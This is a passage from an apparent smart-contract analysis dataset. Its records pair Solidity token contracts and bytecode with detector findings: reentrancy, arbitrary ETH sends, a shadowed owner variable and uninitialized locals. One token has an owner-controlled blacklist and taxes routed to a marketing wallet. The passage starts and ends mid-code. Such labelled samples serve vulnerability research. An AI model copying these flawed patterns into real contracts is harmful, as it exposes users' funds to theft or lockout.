01b03821660009081526005602052604090205460ff16155b15610ff557601454600160a01b900460ff16610ef05760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161051f565b6002600955600a8055601454600160a81b900460ff1615610fbb57426015541115610fbb57601054811115610f2457600080fd5b6001600160a01b0382166000908152600660205260409020544211610f965760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161051f565b610fa142602d611cdd565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ff557610fd842600f611cdd565b6001600160a01b0383166000908152600660205260409020600101555b600061100030610633565b601454909150600160b01b900460ff1615801561102b57506014546001600160a01b03858116911614155b80156110405750601454600160a01b900460ff165b156111b157601454600160a81b900460ff16156110cd576001600160a01b03841660009081526006602052604090206001015442116110cd5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161051f565b601454600160b81b900460ff16156111325760006110f6600c54846114f890919063ffffffff16565b6014549091506111259061111e908590611118906001600160a01b0316610633565b90611577565b82906115d6565b905061113081611618565b505b801561119f57600b5460145461116891606491611162919061115c906001600160a01b0316610633565b906114f8565b906115d6565b81111561119657600b5460145461119391606491611162919061115c906001600160a01b0316610633565b90505b61119f81611353565b4780156111af576111af4761124a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111f557506001600160a01b03831660009081526005602052604090205460ff165b156111fe575060005b61120a84848484611685565b50505050565b600081848411156112345760405162461bcd60e51b815260040161051f9190611be5565b5060006112418486611d28565b95945050505050565b6011546001600160a01b03166108fc6112648360026115d6565b6040518115909202916000818181858888f1935050505015801561128c573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112a78360026115d6565b6040518115909202916000818181858888f19350505050158015610b46573d6000803e3d6000fd5b60006007548211156113365760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161051f565b60006113406116b3565b905061134c83826115d6565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113fd57600080fd5b505afa158015611411573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114359190611aa9565b8160018151811061145657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461147c9130911684610b4a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b5908590600090869030904290600401611c6d565b600060405180830381600087803b1580156114cf57600080fd5b505af11580156114e3573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b6000826115075750600061043c565b60006115138385611d09565b9050826115208583611cf5565b1461134c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051f565b6000806115848385611cdd565b90508381101561134c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051f565b600061134c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d6565b600a8082101561162a5750600a61163e565b602882111561163b5750601e61163e565b50805b611649816002611704565b1561165c578061165881611d3f565b9150505b61166c600a6111628360026114f8565b60095561167e600a61116283826114f8565b600a555050565b8061169257611692611746565b61169d848484611774565b8061120a5761120a600e54600955600f54600a55565b60008060006116c061186b565b90925090506116cf82826115d6565b9250505090565b600081836116f75760405162461bcd60e51b815260040161051f9190611be5565b5060006112418486611cf5565b600061134c83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118ad565b6009541580156117565750600a54155b1561175d57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611786876118e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117b8908761193e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117e79086611577565b6001600160a01b03891660009081526002602052604090205561180981611980565b61181384836119ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185891815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061188782826115d6565b8210156118a457505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118ce5760405162461bcd60e51b815260040161051f9190611be5565b506118d98385611d5a565b949350505050565b60008060008060008060008060006118fe8a600954600a546119ee565b925092509250600061190e6116b3565b905060008060006119218e878787611a3d565b919e509c509a509598509396509194505050505091939550919395565b600061134c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611210565b600061198a6116b3565b9050600061199883836114f8565b306000908152600260205260409020549091506119b59082611577565b30600090815260026020526040902055505050565b6007546119d7908361193e565b6007556008546119e79082611577565b6008555050565b6000808080611a02606461116289896114f8565b90506000611a1560646111628a896114f8565b90506000611a2d82611a278b8661193e565b9061193e565b9992985090965090945050505050565b6000808080611a4c88866114f8565b90506000611a5a88876114f8565b90506000611a6888886114f8565b90506000611a7a82611a27868661193e565b939b939a50919850919650505050505050565b600060208284031215611a9e578081fd5b813561134c81611d9a565b600060208284031215611aba578081fd5b815161134c81611d9a565b60008060408385031215611ad7578081fd5b8235611ae281611d9a565b91506020830135611af281611d9a565b809150509250929050565b600080600060608486031215611b11578081fd5b8335611b1c81611d9a565b92506020840135611b2c81611d9a565b929592945050506040919091013590565b60008060408385031215611b4f578182fd5b8235611b5a81611d9a565b946020939093013593505050565b600060208284031215611b79578081fd5b813561134c81611daf565b600060208284031215611b95578081fd5b815161134c81611daf565b600060208284031215611bb1578081fd5b5035919050565b600080600060608486031215611bcc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1157858101830151858201604001528201611bf5565b81811115611c225783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cbc5784516001600160a01b031683529383019391830191600101611c97565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf057611cf0611d6e565b500190565b600082611d0457611d04611d84565b500490565b6000816000190483118215151615611d2357611d23611d6e565b500290565b600082821015611d3a57611d3a611d6e565b500390565b6000600019821415611d5357611d53611d6e565b5060010190565b600082611d6957611d69611d84565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063057600080fd5b801515811461063057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122096701d42b5cb80af629a471e818950bc67c702c233d506bd3344f7385a1c365264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,039
0xe8f9e9196eb6c80f0eb86ef130ecd14956f17d2d
pragma solidity ^0.4.18; // v0.4.18 was the latest possible version. 0.4.19 and above were not allowed //////////////////////////////////////////////////////////////////////////////// library SafeMath { //-------------------------------------------------------------------------- function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; assert(c / a == b); return c; } //-------------------------------------------------------------------------- function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } //-------------------------------------------------------------------------- function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } //-------------------------------------------------------------------------- function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //////////////////////////////////////////////////////////////////////////////// library StringLib { function concat(string strA, string strB) internal pure returns (string) { uint i; uint g; uint finalLen; bytes memory dataStrA; bytes memory dataStrB; bytes memory buffer; dataStrA = bytes(strA); dataStrB = bytes(strB); finalLen = dataStrA.length + dataStrB.length; buffer = new bytes(finalLen); for (g=i=0; i<dataStrA.length; i++) buffer[g++] = dataStrA[i]; for (i=0; i<dataStrB.length; i++) buffer[g++] = dataStrB[i]; return string(buffer); } //-------------------------------------------------------------------------- function same(string strA, string strB) internal pure returns(bool) { return keccak256(strA)==keccak256(strB); } //------------------------------------------------------------------------- function uintToAscii(uint number) internal pure returns(byte) { if (number < 10) return byte(48 + number); else if (number < 16) return byte(87 + number); revert(); } //------------------------------------------------------------------------- function asciiToUint(byte char) internal pure returns (uint) { uint asciiNum = uint(char); if (asciiNum > 47 && asciiNum < 58) return asciiNum - 48; else if (asciiNum > 96 && asciiNum < 103) return asciiNum - 87; revert(); } //------------------------------------------------------------------------- function bytes32ToString (bytes32 data) internal pure returns (string) { bytes memory bytesString = new bytes(64); for (uint j=0; j < 32; j++) { byte char = byte(bytes32(uint(data) * 2 ** (8 * j))); bytesString[j*2+0] = uintToAscii(uint(char) / 16); bytesString[j*2+1] = uintToAscii(uint(char) % 16); } return string(bytesString); } //------------------------------------------------------------------------- function stringToBytes32(string str) internal pure returns (bytes32) { bytes memory bString = bytes(str); uint uintString; if (bString.length != 64) { revert(); } for (uint i = 0; i < 64; i++) { uintString = uintString*16 + uint(asciiToUint(bString[i])); } return bytes32(uintString); } } //////////////////////////////////////////////////////////////////////////////// contract ERC20 { function balanceOf( address _owner) public constant returns (uint256 balance); function transfer( address toAddr, uint256 amount) public returns (bool success); function allowance( address owner, address spender) public constant returns (uint256); function approve( address spender, uint256 value) public returns (bool); event Transfer(address indexed fromAddr, address indexed toAddr, uint256 amount); event Approval(address indexed _owner, address indexed _spender, uint256 amount); uint256 public totalSupply; } //////////////////////////////////////////////////////////////////////////////// contract Ownable { address public owner; //-------------------------------------------------------------------------- @dev The Ownable constructor sets the original `owner` of the contract to the sender account function Ownable() public { owner = msg.sender; } //-------------------------------------------------------------------------- @dev Throws if called by any account other than the owner. modifier onlyOwner() { require(msg.sender == owner); _; } } //////////////////////////////////////////////////////////////////////////////// contract Lockable is Ownable { uint256 internal constant lockedUntil = 1530604800; // 2018-07-03 08:00 (GMT+0) address internal allowedSender; // the address that can make transactions when the transaction is locked //-------------------------------------------------------------------------- @dev Allow access only when is unlocked. This function is good when you make crowdsale to avoid token expose in exchanges modifier unlocked() { require((now > lockedUntil) || (allowedSender == msg.sender)); _; } //-------------------------------------------------------------------------- @dev Allows the current owner to transfer control of the contract to a newOwner. function transferOwnership(address newOwner) public onlyOwner // @param newOwner The address to transfer ownership to. { require(newOwner != address(0)); owner = newOwner; allowedSender = newOwner; } } //////////////////////////////////////////////////////////////////////////////// contract Token is ERC20, Lockable { using SafeMath for uint256; address public owner; // Owner of this contract mapping(address => uint256) balances; // Maintain balance in a mapping mapping(address => mapping (address => uint256)) allowances; // Allowances index-1 = Owner account index-2 = spender account //------ TOKEN SPECIFICATION string public constant name = "TESTGVINE1"; string public constant symbol = "TESTGVINE1"; uint256 public constant decimals = 18; // Handle the coin as FIAT (2 decimals). ETH Handles 18 decimal places uint256 public constant initSupply = 825000000 * 10**decimals; // 10**18 max string private constant supplyReserveMode="percent"; // "quantity" or "percent" uint256 public constant supplyReserveVal = 58; // if quantity => (val * 10**decimals) if percent => val; uint256 public icoSalesSupply = 0; // Needed when burning tokens uint256 public icoReserveSupply = 0; //-------------------------------------------------------------------------- Functions with this modifier can only be executed by the owner modifier onlyOwner() { if (msg.sender != allowedSender) { assert(true==false); } _; } //-------------------------------------------------------------------------- Functions with this modifier can only be executed by the owner modifier onlyOwnerDuringIco() { if (msg.sender!=allowedSender || now > lockedUntil) { assert(true==false); } _; } //-------------------------------------------------------------------------- Constructor function Token() public { owner = msg.sender; totalSupply = initSupply; balances[owner] = initSupply; // send the tokens to the owner //----- allowedSender = owner; // In this contract, only the contract owner can send token while ICO is active. //----- Handling if there is a special maximum amount of tokens to spend during the ICO or not icoSalesSupply = totalSupply; if (StringLib.same(supplyReserveMode, "quantity")) { icoSalesSupply = totalSupply.sub(supplyReserveVal); } else if (StringLib.same(supplyReserveMode, "percent")) { icoSalesSupply = totalSupply.mul(supplyReserveVal).div(100); } icoReserveSupply = totalSupply.sub(icoSalesSupply); } //-------------------------------------------------------------------------- function transfer(address toAddr, uint256 amount) public unlocked returns (bool success) { require(toAddr!=0x0 && toAddr!=msg.sender && amount>0); // Prevent transfer to 0x0 address and to self, amount must be >0 uint256 availableTokens = balances[msg.sender]; if (msg.sender==allowedSender) // Special handling on contract owner { if (now <= lockedUntil) // The ICO is now running { uint256 balanceAfterTransfer = availableTokens.sub(amount); assert(balanceAfterTransfer >= icoReserveSupply); // don't sell more than allowed during ICO } } balances[msg.sender] = balances[msg.sender].sub(amount); balances[toAddr] = balances[toAddr].add(amount); emit Transfer(msg.sender, toAddr, amount); //Transfer(msg.sender, toAddr, amount); return true; } //-------------------------------------------------------------------------- function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } //-------------------------------------------------------------------------- function approve(address _spender, uint256 amount) public returns (bool) { require((amount == 0) || (allowances[msg.sender][_spender] == 0)); allowances[msg.sender][_spender] = amount; emit Approval(msg.sender, _spender, amount); //Approval(msg.sender, _spender, amount); return true; } //-------------------------------------------------------------------------- function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowances[_owner][_spender]; // Return the allowance for _spender approved by _owner } //-------------------------------------------------------------------------- function() public { assert(true == false); // If Ether is sent to this address, don't handle it -> send it back. } //-------------------------------------------------------------------------- //-------------------------------------------------------------------------- //-------------------------------------------------------------------------- //-------------------------------------------------------------------------- // // When ICO is closed, send the relaining (unsold) tokens to address 0x0 // So no one will be able to use it anymore... // Anyone can check address 0x0, so to proove unsold tokens belong to no one anymore // //-------------------------------------------------------------------------- function destroyRemainingTokens() public unlocked /*view*/ returns(uint) { require(msg.sender==allowedSender && now>lockedUntil); address toAddr = 0x0000000000000000000000000000000000000000; uint256 amountToBurn = balances[allowedSender]; if (amountToBurn > icoReserveSupply) { amountToBurn = amountToBurn.sub(icoReserveSupply); } balances[owner] = balances[allowedSender].sub(amountToBurn); balances[toAddr] = balances[toAddr].add(amountToBurn); //emit Transfer(msg.sender, toAddr, amount); Transfer(msg.sender, toAddr, amountToBurn); return 1; } //-------------------------------------------------------------------------- //-------------------------------------------------------------------------- //-------------------------------------------------------------------------- }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f9578063095ea7b31461018757806318160ddd146101e1578063313ce5671461020a57806333d63869146102335780634d986c8f1461025c57806370a082311461028557806387f40ba4146102d25780638da5cb5b146102fb57806395d89b411461035057806397d63f93146103de578063a9059cbb14610407578063dd62ed3e14610461578063e2069734146104cd578063f2fde38b146104f6575b34156100e657600080fd5b60001515600115151415156100f757fe5b005b341561010457600080fd5b61010c61052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6101c7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610568565b604051808215151515815260200191505060405180910390f35b34156101ec57600080fd5b6101f46106ef565b6040518082815260200191505060405180910390f35b341561021557600080fd5b61021d6106f5565b6040518082815260200191505060405180910390f35b341561023e57600080fd5b6102466106fa565b6040518082815260200191505060405180910390f35b341561026757600080fd5b61026f610700565b6040518082815260200191505060405180910390f35b341561029057600080fd5b6102bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610706565b6040518082815260200191505060405180910390f35b34156102dd57600080fd5b6102e561074f565b6040518082815260200191505060405180910390f35b341561030657600080fd5b61030e610754565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561035b57600080fd5b61036361077a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a3578082015181840152602081019050610388565b50505050905090810190601f1680156103d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e957600080fd5b6103f16107b3565b6040518082815260200191505060405180910390f35b341561041257600080fd5b610447600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107c1565b604051808215151515815260200191505060405180910390f35b341561046c57600080fd5b6104b7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610aff565b6040518082815260200191505060405180910390f35b34156104d857600080fd5b6104e0610b86565b6040518082815260200191505060405180910390f35b341561050157600080fd5b61052d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec6565b005b6040805190810160405280600a81526020017f544553544756494e45310000000000000000000000000000000000000000000081525081565b6000808214806105f457506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156105ff57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b601281565b60075481565b60065481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b603a81565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600a81526020017f544553544756494e45310000000000000000000000000000000000000000000081525081565b6012600a0a63312c80400281565b6000806000635b3b2d0042118061082557503373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561083057600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff161415801561088357503373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561088f5750600084115b151561089a57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561096457635b3b2d0042111515610963576109528483610ff090919063ffffffff16565b9050600754811015151561096257fe5b5b5b6109b684600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4b84600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000635b3b2d00421180610bea57503373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515610bf557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610c555750635b3b2d0042115b1515610c6057600080fd5b6000915060046000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600754811115610cea57610ce760075482610ff090919063ffffffff16565b90505b610d5e8160046000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff090919063ffffffff16565b60046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1581600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100990919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019250505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2f576000151560011515141515610f2e57fe5b5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f6b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515610ffe57fe5b818303905092915050565b600080828401905083811015151561101d57fe5b8091505092915050565b6000816040518082805190602001908083835b60208310151561105f578051825260208201915060208101905060208303925061103a565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916836040518082805190602001908083835b6020831015156110c657805182526020820191506020810190506020830392506110a1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614905092915050565b60008060008414156111155760009150611134565b828402905082848281151561112657fe5b0414151561113057fe5b8091505b5092915050565b600080828481151561114957fe5b04905080915050929150505600a165627a7a723058205d0f906721d35f3eddacbe3d910936a9f9f462b399875c97359aeebfc7045baf0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,040
0x176242972adbb459cd9ea9e80c6c0381dc41dec9
/** *Submitted for verification at Etherscan.io on 2022-03-10 */ /** join us, Sanctions:t.me/SanctionsChat */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SanctionsRussia is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sanctions Russia"; string private constant _symbol = "SRUSSIA"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1000000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0xB21447090822f7C2Fef4C47633C01D16fc099e11); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 50000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = 